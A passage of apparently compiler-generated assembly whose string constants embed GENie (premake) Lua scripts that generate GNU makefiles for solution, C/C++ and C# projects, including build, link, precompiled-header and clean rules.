\"ghs\" },\ndotnet = { \"mono\", \"msnet\", \"pnet\" },\nvalac = { \"valac\" },\nswift = { \"swift\" },\n},\nonsolution = function(sln)\npremake.generate(sln, _MAKE.getmakefilename(sln, false), premake.make_solution)\nend,\nonproject = function(prj)\nlocal makefile = _MAKE.getmakefilename(prj, true)\nif premake.isdotnetproject(prj) then\npremake.generate(prj, makefile, premake.make_csharp)\nelseif premake.iscppproject(prj) then\npremake.generate(prj, makefile, premake.make_cpp)\nelseif premake.isswiftproject(prj) then\npremake.generate(prj, makefile, premake.make_swift)\nelse\npremake.generate(prj, makefile, premake.make_vala)\nend\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, _MAKE.getmakefilename(sln, false))\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, _MAKE.getmakefilename(prj, true))\nend,\ngmake = {}\n}\n"
l_.str.34: ; @.str.34
.asciz "function premake.make_solution(sln)\nlocal cc = premake[_OPTIONS.cc]\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\n_p('# %s solution makefile autogenerated by GENie', premake.action.current().shortname)\n_p('# Type \"make help\" for usage help')\n_p('')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(sln.configurations[1], platforms[1], true)))\n_p('endif')\n_p('export config')\n_p('')\nlocal projects = table.extract(sln.projects, \"name\")\ntable.sort(projects)\n_p('PROJECTS := %s', table.concat(_MAKE.esc(projects), \" \"))\n_p('')\n_p('.PHONY: all clean help $(PROJECTS)')\n_p('')\n_p('all: $(PROJECTS)')\n_p('')\nfor _, prj in ipairs(sln.projects) do\n_p('%s: %s', _MAKE.esc(prj.name), table.concat(_MAKE.esc(table.extract(premake.getdependencies(prj), \"name\")), \" \"))\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p('\\t@echo \"==== Building %s ($(config)) ====\"', prj.name)\nend\n_p('\\t@${MAKE} --no-print-directory -C %s -f %s', _MAKE.esc(path.getrelative(sln.location, prj.location)), _MAKE.esc(_MAKE.getmakefilename(prj, true)))\n_p('')\nend\n_p('clean:')\nfor _ ,prj in ipairs(sln.projects) do\n_p('\\t@${MAKE} --no-print-directory -C %s -f %s clean', _MAKE.esc(path.getrelative(sln.location, prj.location)), _MAKE.esc(_MAKE.getmakefilename(prj, true)))\nend\n_p('')\n_p('help:')\n_p(1,'@echo \"Usage: make [config=name] [target]\"')\n_p(1,'@echo \"\"')\n_p(1,'@echo \"CONFIGURATIONS:\"')\nlocal cfgpairs = { }\nfor _, platform in ipairs(platforms) do\nfor _, cfgname in ipairs(sln.configurations) do\n_p(1,'@echo \" %s\"', premake.getconfigname(cfgname, platform, true))\nend\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"TARGETS:\"')\n_p(1,'@echo \" all (default)\"')\n_p(1,'@echo \" clean\"')\nfor _, prj in ipairs(sln.projects) do\n_p(1,'@echo \" %s\"', prj.name)\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"For more information, see https://github.com/bkaradzic/genie\"')\nend\n"
l_.str.35: ; @.str.35
.asciz "-- --\npremake.make.cpp = { }\npremake.make.override = { }\npremake.make.makefile_ignore = false\nlocal cpp = premake.make.cpp\nlocal make = premake.make\nfunction premake.make_cpp(prj)\nlocal cc = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\nlocal action = premake.action.current()\npremake.gmake_cpp_header(prj, cc, platforms)\npremake.gmake_cpp_configs(prj, cc, platforms)\ntable.sort(prj.allfiles)\nlocal objdirs = {}\nlocal additionalobjdirs = {}\nfor _, file in ipairs(prj.allfiles) do\nif path.issourcefile(file) then\nobjdirs[_MAKE.esc(path.getdirectory(path.trimdots(file)))] = 1\nend\nend\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nadditionalobjdirs[_MAKE.esc(path.getdirectory(path.getrelative(prj.location,buildtask[2])))] = 1\nend\nend\n_p('OBJDIRS := \\\\')\n_p('\\t$(OBJDIR) \\\\')\nfor dir, _ in iter.sortByKeys(objdirs) do\n_p('\\t$(OBJDIR)/%s \\\\', dir)\nend\nfor dir, _ in iter.sortByKeys(additionalobjdirs) do\n_p('\\t%s \\\\', dir)\nend\n_p('')\n_p('RESOURCES := \\\\')\nfor _, file in ipairs(prj.allfiles) do\nif path.isresourcefile(file) then\n_p('\\t$(OBJDIR)/%s.res \\\\', _MAKE.esc(path.getbasename(file)))\nend\nend\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\nif os.is(\"MacOSX\") and prj.kind == \"WindowedApp\" and not prj.options.SkipBundling then\n_p('all: $(OBJDIRS) $(TARGETDIR) prebuild prelink $(TARGET) $(dir $(TARGETDIR))PkgInfo $(dir $(TARGETDIR))Info.plist')\nelse\n_p('all: $(OBJDIRS) $(TARGETDIR) prebuild prelink $(TARGET)')\nend\n_p('\\t@:')\n_p('')\nif (prj.kind == \"StaticLib\" and prj.options.ArchiveSplit) then\n_p('define max_args')\n_p('\\t$(eval _args:=)')\n_p('\\t$(foreach obj,$3,$(eval _args+=$(obj))$(if $(word $2,$(_args)),$1 $(_args)$(EOL)$(eval _args:=)))')\n_p('\\t$(if $(_args),$1 $(_args))')\n_p('endef')\n_p('')\n_p('define EOL')\n_p('')\n_p('')\n_p('endef')\n_p('')\nend\n_p('$(TARGET): $(GCH) $(OBJECTS) $(LIBDEPS) $(EXTERNAL_LIBS) $(RESOURCES) $(OBJRESP) $(LDRESP) | $(TARGETDIR) $(OBJDIRS)')\nif prj.kind == \"StaticLib\" then\nif prj.msgarchiving then\n_p('\\t@echo ' .. prj.msgarchiving)\nelse\n_p('\\t@echo Archiving %s', prj.name)\nend\nif (not prj.archivesplit_size) then\nprj.archivesplit_size=200\nend\nif (not prj.options.ArchiveSplit) then\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('endif')\n_p('\\t$(SILENT) $(LINKCMD) $(LINKOBJS)' .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\nelse\n_p('\\t$(call RM,$(TARGET))')\n_p('\\t@$(call max_args,$(LINKCMD),'.. prj.archivesplit_size ..',$(LINKOBJS))' .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p('\\t$(SILENT) $(LINKCMD_NDX)')\nend\nelse\nif prj.msglinking then\n_p('\\t@echo ' .. prj.msglinking)\nelse\n_p('\\t@echo Linking %s', prj.name)\nend\n_p('\\t$(SILENT) $(LINKCMD)')\nend\n_p('\\t$(POSTBUILDCMDS)')\n_p('')\n_p('$(TARGETDIR):')\npremake.make_mkdirrule(\"$(TARGETDIR)\")\n_p('$(OBJDIRS):')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCreatingMessage\")) then\n_p('\\t@echo Creating $(@)')\nend\n_p('\\t-$(call MKDIR,$@)')\n_p('')\nif os.is(\"MacOSX\") and prj.kind == \"WindowedApp\" and not prj.options.SkipBundling then\n_p('$(dir $(TARGETDIR))PkgInfo:')\n_p('$(dir $(TARGETDIR))Info.plist:')\n_p('')\nend\n_p('clean:')\nif (not prj.solution.messageskip) or (not table.contains(prj.solution.messageskip, \"SkipCleaningMessage\")) then\n_p('\\t@echo Cleaning %s', prj.name)\nend\n_p('ifeq (posix,$(SHELLTYPE))')\n_p('\\t$(SILENT) rm -f $(TARGET)')\n_p('\\t$(SILENT) rm -rf $(OBJDIR)')\n_p('else')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(TARGET)) del $(subst /,\\\\\\\\,$(TARGET))')\n_p('\\t$(SILENT) if exist $(subst /,\\\\\\\\,$(OBJDIR)) rmdir /s /q $(subst /,\\\\\\\\,$(OBJDIR))')\n_p('endif')\n_p('')\n_p('prebuild:')\n_p('\\t$(PREBUILDCMDS)')\n_p('')\n_p('prelink:')\n_p('\\t$(PRELINKCMDS)')\n_p('')\ncpp.pchrules(prj)\ncpp.fileRules(prj, cc)\ncpp.dependencyRules(prj)\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nlocal deps = string.format(\"%s \",path.getrelative(prj.location,buildtask[1]))\nfor _, depdata in ipairs(buildtask[3] or {}) do\ndeps = deps .. string.format(\"%s \",path.getrelative(prj.location,depdata))\nend\n_p('%s: %s | $(TARGETDIR) $(OBJDIRS)'\n,path.getrelative(prj.location,buildtask[2])\n, deps\n)\nfor _, cmdline in ipairs(buildtask[4] or {}) do\nlocal cmd = cmdline\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \",path.getrelative(prj.location,depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, \"%$%(<%)\", \"$<\")\ncmd = string.gsub(cmd, \"%$%(@%)\", \"$@\")\n_p('\\t$(SILENT) %s',cmd)\nend\n_p('')\nend\nend\n_p('-include $(OBJECTS:%%.o=%%.d)')\n_p('ifneq (,$(PCH))')\n_p(' -include $(OBJDIR)/$(notdir $(PCH)).d')\n_p(' -include $(OBJDIR)/$(notdir $(PCH))_objc.d')\n_p('endif')\nend\nfunction premake.gmake_cpp_header(prj, cc, platforms)\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(prj.solution.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p(' RM = $(SILENT) rm -f \"$(1)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p(' RM = $(SILENT) del /F \"$(subst /,\\\\\\\\,$(1))\" 2> nul || exit 0')\n_p('endif')\n_p('')\n_p('CC = %s', cc.cc)\n_p('CXX = %s', cc.cxx)\n_p('AR = %s', cc.ar)\n_p('')\n_p('ifndef RESCOMP')\n_p(' ifdef WINDRES')\n_p(' RESCOMP = $(WINDRES)')\n_p(' else')\n_p(' RESCOMP = %s', cc.rc or 'windres')\n_p(' endif')\n_p('endif')\n_p('')\nif (not premake.make.makefile_ignore) then\n_p('MAKEFILE = %s', _MAKE.getmakefilename(prj, true))\n_p('')\nend\nend\nlocal function is_excluded(prj, cfg, file)\nif table.icontains(prj.excludes, file) then\nreturn true\nend\nif table.icontains(cfg.excludes, file) then\nreturn true\nend\nreturn false\nend\nfunction premake.gmake_cpp_configs(prj, cc, platforms)\nfor _, platform in ipairs(platforms) do\nfor cfg in premake.eachconfig(prj, platform) do\npremake.gmake_cpp_config(prj, cfg, cc)\nend\nend\nend\nfunction premake.gmake_cpp_config(prj, cfg, cc)\n_p('ifeq ($(config),%s)', _MAKE.esc(cfg.shortname))\ncpp.platformtools(cfg, cc)\nlocal targetDir = _MAKE.esc(cfg.buildtarget.directory)\n_p(' ' .. (table.contains(premake.make.override,\"OBJDIR\") and \"override \" or \"\") .. 'OBJDIR = %s', _MAKE.esc(cfg.objectsdir))\n_p(' ' .. (table.contains(premake.make.override,\"TARGETDIR\") and \"override \" or \"\") .. 'TARGETDIR = %s', iif(targetDir == \"\", \".\", targetDir))\n_p(' ' .. (table.contains(premake.make.override,\"TARGET\") and \"override \" or \"\") .. 'TARGET = $(TARGETDIR)/%s', _MAKE.esc(cfg.buildtarget.name))\n_p(' DEFINES +=%s', make.list(_MAKE.escquote(cc.getdefines(cfg.defines))))\nlocal id = make.list(cc.getincludedirs(cfg.includedirs));\nlocal uid = make.list(cc.getquoteincludedirs(cfg.userincludedirs))\nlocal sid = make.list(cc.getsystemincludedirs(cfg.systemincludedirs))\nif id ~= \"\" then\n_p(' INCLUDES +=%s', id)\nend\nif uid ~= \"\" then\n_p(' INCLUDES +=%s', uid)\nend\nif sid ~= \"\" then\n_p(' INCLUDES +=%s', sid)\nend\ncpp.pchconfig(cfg)\ncpp.flags(cfg, cc)\ncpp.linker(prj, cfg, cc)\ntable.sort(cfg.files)\nif cfg.flags.UseObjectResponseFile then\n_p(' OBJRESP = $(OBJDIR)/%s_objects', prj.name)\nelse\n_p(' OBJRESP =')\nend\n_p(' OBJECTS := \\\\')\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\nif not is_excluded(prj, cfg, file) then\n_p('\\t$(OBJDIR)/%s.o \\\\'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n)\nend\nend\nend\n_p('')\n_p(' define PREBUILDCMDS')\nif #cfg.prebuildcommands > 0 then\n_p('\\t@echo Running pre-build commands')\n_p('\\t%s', table.implode(cfg.prebuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define PRELINKCMDS')\nif #cfg.prelinkcommands > 0 then\n_p('\\t@echo Running pre-link commands')\n_p('\\t%s', table.implode(cfg.prelinkcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\n_p(' define POSTBUILDCMDS')\nif #cfg.postbuildcommands > 0 then\n_p('\\t@echo Running post-build commands')\n_p('\\t%s', table.implode(cfg.postbuildcommands, \"\", \"\", \"\\n\\t\"))\nend\n_p(' endef')\nmake.settings(cfg, cc)\n_p('endif')\n_p('')\nend\nfunction cpp.platformtools(cfg, cc)\nlocal platform = cc.platforms[cfg.platform]\nif platform.cc then\n_p(' CC = %s', platform.cc)\nend\nif platform.cxx then\n_p(' CXX = %s', platform.cxx)\nend\nif platform.ar then\n_p(' AR = %s', platform.ar)\nend\nend\nfunction cpp.flags(cfg, cc)\nif cfg.pchheader and not cfg.flags.NoPCH then\n_p(' FORCE_INCLUDE += -include $(OBJDIR)/$(notdir $(PCH))')\n_p(' FORCE_INCLUDE_OBJC += -include $(OBJDIR)/$(notdir $(PCH))_objc')\nend\nif #cfg.forcedincludes > 0 then\n_p(' FORCE_INCLUDE += -include %s'\n,_MAKE.esc(table.concat(cfg.forcedincludes, \";\")))\nend\n_p(' ALL_CPPFLAGS += $(CPPFLAGS) %s $(DEFINES) $(INCLUDES)', table.concat(cc.getcppflags(cfg), \" \"))\n_p(' ALL_ASMFLAGS += $(ASMFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_asm)))\n_p(' ALL_CFLAGS += $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)))\n_p(' ALL_CXXFLAGS += $(CXXFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)))\n_p(' ALL_OBJCFLAGS += $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getobjcflags(cfg), cfg.buildoptions, cfg.buildoptions_objc)))\n_p(' ALL_OBJCPPFLAGS += $(CXXFLAGS) $(CFLAGS) $(ALL_CPPFLAGS) $(ARCH)%s', make.list(table.join(cc.getcflags(cfg), cc.getcxxflags(cfg), cc.getobjcflags(cfg), cfg.buildoptions, cfg.buildoptions_objcpp)))\n_p(' ALL_RESFLAGS += $(RESFLAGS) $(DEFINES) $(INCLUDES)%s',\n make.list(table.join(cc.getdefines(cfg.resdefines),\n cc.getincludedirs(cfg.resincludedirs), cfg.resoptions)))\nend\nfunction cpp.linker(prj, cfg, cc)\nlocal libdeps\nlocal lddeps\nif #cfg.wholearchive > 0 then\nlibdeps = {}\nlddeps = {}\nfor _, linkcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nlocal linkpath = path.rebase(linkcfg.linktarget.fullpath, linkcfg.location, cfg.location)\nif table.icontains(cfg.wholearchive, linkcfg.project.name) then\nlddeps = table.join(lddeps, cc.wholearchive(linkpath))\nelse\ntable.insert(lddeps, linkpath)\nend\ntable.insert(libdeps, linkpath)\nend\nlibdeps = make.list(_MAKE.esc(libdeps))\nlddeps = make.list(_MAKE.esc(lddeps))\nelse\nlibdeps = make.list(_MAKE.esc(premake.getlinks(cfg, \"siblings\", \"fullpath\")))\nlddeps = libdeps\nend\n_p(' ALL_LDFLAGS += $(LDFLAGS)%s', make.list(table.join(cc.getlibdirflags(cfg), cc.getldflags(cfg), cfg.linkoptions)))\n_p(' LIBDEPS +=%s', libdeps)\n_p(' LDDEPS +=%s', lddeps)\nif cfg.flags.UseLDResponseFile then\n_p(' LDRESP = $(OBJDIR)/%s_libs', prj.name)\n_p(' LIBS += @$(LDRESP)%s', make.list(cc.getlinkflags(cfg)))\nelse\n_p(' LDRESP =')\n_p(' LIBS += $(LDDEPS)%s', make.list(cc.getlinkflags(cfg)))\nend\n_p(' EXTERNAL_LIBS +=%s', make.list(cc.getlibfiles(cfg)))\n_p(' LINKOBJS = %s', (cfg.flags.UseObjectResponseFile and \"@$(OBJRESP)\" or \"$(OBJECTS)\"))\nif cfg.kind == \"StaticLib\" then\nif (not prj.options.ArchiveSplit) then\n_p(' LINKCMD = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, false)))\nelse\n_p(' LINKCMD = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, false)))\n_p(' LINKCMD_NDX = $(AR) %s $(TARGET)', make.list(cc.getarchiveflags(prj, cfg, true)))\nend\nelse\nlocal tool = iif(cfg.language == \"C\", \"CC\", \"CXX\")\nlocal startgroup = ''\nlocal endgroup = ''\nif (cfg.flags.LinkSupportCircularDependencies) then\nstartgroup = '-Wl,--start-group '\nendgroup = ' -Wl,--end-group'\nend\n_p(' LINKCMD = $(%s) -o $(TARGET) $(LINKOBJS) $(RESOURCES) $(ARCH) $(ALL_LDFLAGS) %s$(LIBS)%s', tool, startgroup, endgroup)\nend\nend\nfunction cpp.pchconfig(cfg)\nif not cfg.pchheader or cfg.flags.NoPCH then\nreturn\nend\nlocal pch = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, incdir))\nlocal testname = path.join(abspath, pch)\nif os.isfile(testname) then\npch = path.getrelative(cfg.location, testname)\nbreak\nend\nend\n_p(' PCH = %s', _MAKE.esc(pch))\n_p(' GCH = $(OBJDIR)/$(notdir $(PCH)).gch')\n_p(' GCH_OBJC = $(OBJDIR)/$(notdir $(PCH))_objc.gch')\nend\nfunction cpp.pchrules(prj)\n_p('ifneq (,$(PCH))')\n_p('$(GCH): $(PCH) $(MAKEFILE) | $(OBJDIR)')\nif prj.msgprecompile then\n_p('\\t@echo ' .. prj.msgprecompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nlocal cmd = iif(prj.language == \"C\", \"$(CC) $(ALL_CFLAGS) -x c-header\", \"$(CXX) $(ALL_CXXFLAGS) -x c++-header\")\n_p('\\t$(SILENT) %s $(DEFINES) $(INCLUDES) -o \"$@\" -c \"$<\"', cmd)\n_p('')\n_p('$(GCH_OBJC): $(PCH) $(MAKEFILE) | $(OBJDIR)')\nif prj.msgprecompile then\n_p('\\t@echo ' .. prj.msgprecompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nlocal cmd = iif(prj.language == \"C\", \"$(CC) $(ALL_OBJCFLAGS) -x objective-c-header\", \"$(CXX) $(ALL_OBJCPPFLAGS) -x objective-c++-header\")\n_p('\\t$(SILENT) %s $(DEFINES) $(INCLUDES) -o \"$@\" -c \"$<\"', cmd)\n_p('endif')\n_p('')\nend\nfunction cpp.fileRules(prj, cc)\nlocal platforms = premake.filterplatforms(prj.solution, cc.platforms, \"Native\")\n_p('ifneq (,$(OBJRESP))')\n_p('$(OBJRESP): $(OBJECTS) | $(TARGETDIR) $(OBJDIRS)')\n_p('\\t$(SILENT) echo $^')\n_p('\\t$(SILENT) echo $^ > $@')\n_p('endif')\n_p('')\n_p('ifneq (,$(LDRESP))')\n_p('$(LDRESP): $(LDDEPS) | $(TARGETDIR) $(OBJDIRS)')\n_p('\\t$(SILENT) echo $^')\n_p('\\t$(SILENT) echo $^ > $@')\n_p('endif')\n_p('')\ntable.sort(prj.allfiles)\nfor _, file in ipairs(prj.allfiles or {}) do\nif path.issourcefile(file) then\nif (path.isobjcfile(file)) then\n_p('$(OBJDIR)/%s.o: %s $(GCH_OBJC) $(MAKEFILE) | $(OBJDIR)/%s'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n, _MAKE.esc(file)\n, _MAKE.esc(path.getdirectory(path.trimdots(file)))\n)\nelse\n_p('$(OBJDIR)/%s.o: %s $(GCH) $(MAKEFILE) | $(OBJDIR)/%s'\n, _MAKE.esc(path.trimdots(path.removeext(file)))\n, _MAKE.esc(file)\n, _MAKE.esc(path.getdirectory(path.trimdots(file)))\n)\nend\nif (path.isobjcfile(file) and prj.msgcompile_objc) then\n_p('\\t@echo ' .. prj.msgcompile_objc)\nelseif prj.msgcompile then\n_p('\\t@echo ' .. prj.msgcompile)\nelse\n_p('\\t@echo $(notdir $<)')\nend\nif (path.isobjcfile(file)) then\nif (path.iscfile(file)) then\n_p('\\t$(SILENT) $(CXX) $(ALL_OBJCFLAGS) $(FORCE_INCLUDE_OBJC) -o \"$@\" -c \"$<\"')\nelse\n_p('\\t$(SILENT) $(CXX) $(ALL_OBJCPPFLAGS) $(FORCE_INCLUDE_OBJC) -o \"$@\" -c \"$<\"')\nend\nelseif (path.isasmfile(file)) then\n_p('\\t$(SILENT) $(CC) $(ALL_ASMFLAGS) -o \"$@\" -c \"$<\"')\nelse\ncpp.buildcommand(path.iscfile(file) and not prj.options.ForceCPP, \"o\")\nend\nfor _, task in ipairs(prj.postcompiletasks or {}) do\n_p('\\t$(SILENT) %s', task)\n_p('')\nend\n_p('')\nelseif (path.getextension(file) == \".rc\") then\n_p('$(OBJDIR)/%s.res: %s', _MAKE.esc(path.getbasename(file)), _MAKE.esc(file))\nif prj.msgresource then\n_p('\\t@echo ' .. prj.msgresource)\nelse\n_p('\\t@echo $(notdir $<)')\nend\n_p('\\t$(SILENT) $(RESCOMP) $< -O coff -o \"$@\" $(ALL_RESFLAGS)')\n_p('')\nend\nend\nend\nfunction cpp.dependencyRules(prj)\nfor _, dependency in ipairs(prj.dependency or {}) do\nfor _, dep in ipairs(dependency or {}) do\nif (dep[3]==nil or dep[3]==false) then\n_p('$(OBJDIR)/%s.o: %s'\n, _MAKE.esc(path.trimdots(path.removeext(path.getrelative(prj.location, dep[1]))))\n, _MAKE.esc(path.getrelative(prj.location, dep[2]))\n)\nelse\n_p('%s: %s'\n, _MAKE.esc(dep[1])\n, _MAKE.esc(path.getrelative(prj.location, dep[2]))\n)\nend\n_p('')\nend\nend\nend\nfunction cpp.buildcommand(iscfile, objext)\nlocal flags = iif(iscfile, '$(CC) $(ALL_CFLAGS)', '$(CXX) $(ALL_CXXFLAGS)')\n_p('\\t$(SILENT) %s $(FORCE_INCLUDE) -o \"$@\" -c \"$<\"', flags, objext)\nend\n"
l_.str.36: ; @.str.36
.asciz "local function getresourcefilename(cfg, fname)\nif path.getextension(fname) == \".resx\" then\nlocal name = cfg.buildtarget.basename .. \".\"\nlocal dir = path.getdirectory(fname)\nif dir ~= \".\" then\nname = name .. path.translate(dir, \".\") .. \".\"\nend\nreturn \"$(OBJDIR)/\" .. _MAKE.esc(name .. path.getbasename(fname)) .. \".resources\"\nelse\nreturn fname\nend\nend\nfunction premake.make_csharp(prj)\nlocal csc = premake.dotnet\nlocal cfglibs = { }\nlocal cfgpairs = { }\nlocal anycfg\nfor cfg in premake.eachconfig(prj) do\nanycfg = cfg\ncfglibs[cfg] = premake.getlinks(cfg, \"siblings\", \"fullpath\")\ncfgpairs[cfg] = { }\nfor _, fname in ipairs(cfglibs[cfg]) do\nif path.getdirectory(fname) ~= cfg.buildtarget.directory then\ncfgpairs[cfg][\"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(fname))] = _MAKE.esc(fname)\nend\nend\nend\nlocal sources = {}\nlocal embedded = { }\nlocal copypairs = { }\nfor fcfg in premake.project.eachfile(prj) do\nlocal action = csc.getbuildaction(fcfg)\nif action == \"Compile\" then\ntable.insert(sources, fcfg.name)\nelseif action == \"EmbeddedResource\" then\ntable.insert(embedded, fcfg.name)\nelseif action == \"Content\" then\ncopypairs[\"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(fcfg.name))] = _MAKE.esc(fcfg.name)\nelseif path.getname(fcfg.name):lower() == \"app.config\" then\ncopypairs[\"$(TARGET).config\"] = _MAKE.esc(fcfg.name)\nend\nend\nlocal paths = table.translate(prj.libdirs, function(v) return path.join(prj.basedir, v) end)\npaths = table.join({prj.basedir}, paths)\nfor _, libname in ipairs(premake.getlinks(prj, \"system\", \"fullpath\")) do\nlocal libdir = os.pathsearch(libname..\".dll\", unpack(paths))\nif (libdir) then\nlocal target = \"$(TARGETDIR)/\" .. _MAKE.esc(path.getname(libname))\nlocal source = path.getrelative(prj.basedir, path.join(libdir, libname))..\".dll\"\ncopypairs[target] = _MAKE.esc(source)\nend\nend\n_p('# %s project makefile autogenerated by GENie', premake.action.current().shortname)\n_p('')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(prj.configurations[1]:lower()))\n_p('endif')\n_p('')\n_p('ifndef verbose')\n_p(' SILENT = @')\n_p('endif')\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('ifeq (posix,$(SHELLTYPE))')\n_p(' MKDIR = $(SILENT) mkdir -p \"$(1)\"')\n_p(' COPY = $(SILENT) cp -fR \"$(1)\" \"$(2)\"')\n_p('else')\n_p(' MKDIR = $(SILENT) mkdir \"$(subst /,\\\\\\\\,$(1))\" 2> nul')\n_p(' COPY = $(SILENT) copy /Y \"$(subst /,\\\\\\\\,$(1))\" \"$(subst /,\\\\\\\\,$(2))\"')\n_p('endif')\n_p('')\n_p('ifndef CSC')\n_p(' CSC=%s', csc.getcompilervar(prj))\n_p('endif')\n_p('')\n_p('ifndef RESGEN')\n_p(' RESGEN=resgen')\n_p('endif')\n_p('')\nlocal platforms = premake.filterplatforms(prj.solution, premake[_OPTIONS.cc].platforms)\ntable.insert(platforms, 1, \"\")\nfor cfg in premake.eachconfig(prj) do\npremake.gmake_cs_config(cfg, csc, cfglibs)\nend\n_p('# To maintain compatibility with VS.NET, these values must be set at the project level')\n_p('TARGET := $(TARGETDIR)/%s', _MAKE.esc(prj.buildtarget.name))\n_p('FLAGS += /t:%s %s', csc.getkind(prj):lower(), table.implode(_MAKE.esc(prj.libdirs), \"/lib:\", \"\", \" \"))\n_p('REFERENCES += %s', table.implode(_MAKE.esc(premake.getlinks(prj, \"system\", \"basename\")), \"/r:\", \".dll\", \" \"))\n_p('')\n_p('SOURCES := \\\\')\nfor _, fname in ipairs(sources) do\n_p('\\t%s \\\\', _MAKE.esc(path.translate(fname)))\nend\n_p('')\n_p('EMBEDFILES := \\\\')\nfor _, fname in ipairs(embedded) do\n_p('\\t%s \\\\', getresourcefilename(prj, fname))\nend\n_p('')\n_p('COPYFILES += \\\\')\nfor target, source in pairs(cfgpairs[anycfg]) do\n_p('\\t%s \\\\', target)\nend\nfor target, source in pairs(copypairs) do\n_p('\\t%s \\\\', target)\nend\n_p('')\n_p('SHELLTYPE := msdos')\n_p('ifeq (,$(ComSpec)$(COMSPEC))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(SHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('ifeq (/bin,$(findstring /bin,$(MAKESHELL)))')\n_p(' SHELLTYPE := posix')\n_p('endif')\n_p('')\n_p('.PHONY: clean prebuild prelink')\n_p('')\n_p('all: $(TARGETDIR) $(OBJDIR) prebuild $(EMBEDFILES) $(COPYFILES) prelink $(TARGET)')\n_p('')\n_p('$(TARGET): $(SOURCES) $(EMBEDFILES) $(DEPENDS)')\n_p('\\t$(SILENT) $(CSC) /nologo /out:$@ $(FLAGS) $(REFERENCES) $(SOURCES) $(patsubst 